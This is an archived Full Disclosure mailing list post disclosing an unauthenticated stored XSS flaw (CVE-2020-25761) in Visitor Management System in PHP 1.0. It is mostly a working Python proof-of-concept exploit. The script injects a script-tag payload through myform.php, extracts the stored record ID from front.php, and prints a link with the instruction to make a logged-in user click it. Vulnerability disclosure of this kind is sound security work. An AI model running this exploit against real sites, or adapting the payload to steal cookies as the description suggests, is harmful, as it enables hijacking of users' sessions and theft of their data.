full-disclosure - [FD] Visitor Management System in PHP 1.0

Open Source and information security mailing list archives

Date: Sat, 19 Sep 2020 19:45:38 -0400
From: Ava Tester One <avatesterone@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Visitor Management System in PHP 1.0 - Unauthenticated Stored
	XSS

# Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link:
https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25761
# Description: The file myform.php does not perform input validation on the
request parameters. An attacker can inject javascript payloads in the
parameters to perform various attacks such as stealing of cookies,sensitive
information etc.

import requests, sys, urllib, re
from lxml import etree
from io import StringIO
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import random
import string

def print_usage(STRING):
    return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0])
        print print_usage("Example:\t python %s '
https://192.168.1.72:443/visitor_management/'" % sys.argv[0])
        sys.exit(-1)
    SERVER_URL = sys.argv[1]
    XSS_DIR = '/myform.php'
    XSS_URL = SERVER_URL + XSS_DIR
    XSS_PoC_URL = SERVER_URL + '/front.php'

    s = requests.Session()
    s.get(SERVER_URL, verify=False)
    payload   = {'name': 'd3crypt','cno':'9876543210','purpose':'stored
xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''}
    r1 = s.post(url=XSS_URL, data=payload, verify=False)
    r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False)
    response_page = r2.content.decode("utf-8")
    parser = etree.HTMLParser()
    tree = etree.parse(StringIO(response_page), parser=parser)
    def get_links(tree):
        refs = tree.xpath("//a")
        links = [link.get('data-content', '') for link in refs]
        return [l for l in links]

    visitors = get_links(tree)
    #print(visitors)

    for visitor in visitors:
        if 'stored xss' in visitor:
            rid=visitor.split(':')[6].strip()
            print print_usage('Make the logged-in user click this URL: ' +
XSS_PoC_URL + '?rid=' + rid)

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening PHC
Open Source and information security mailing list archives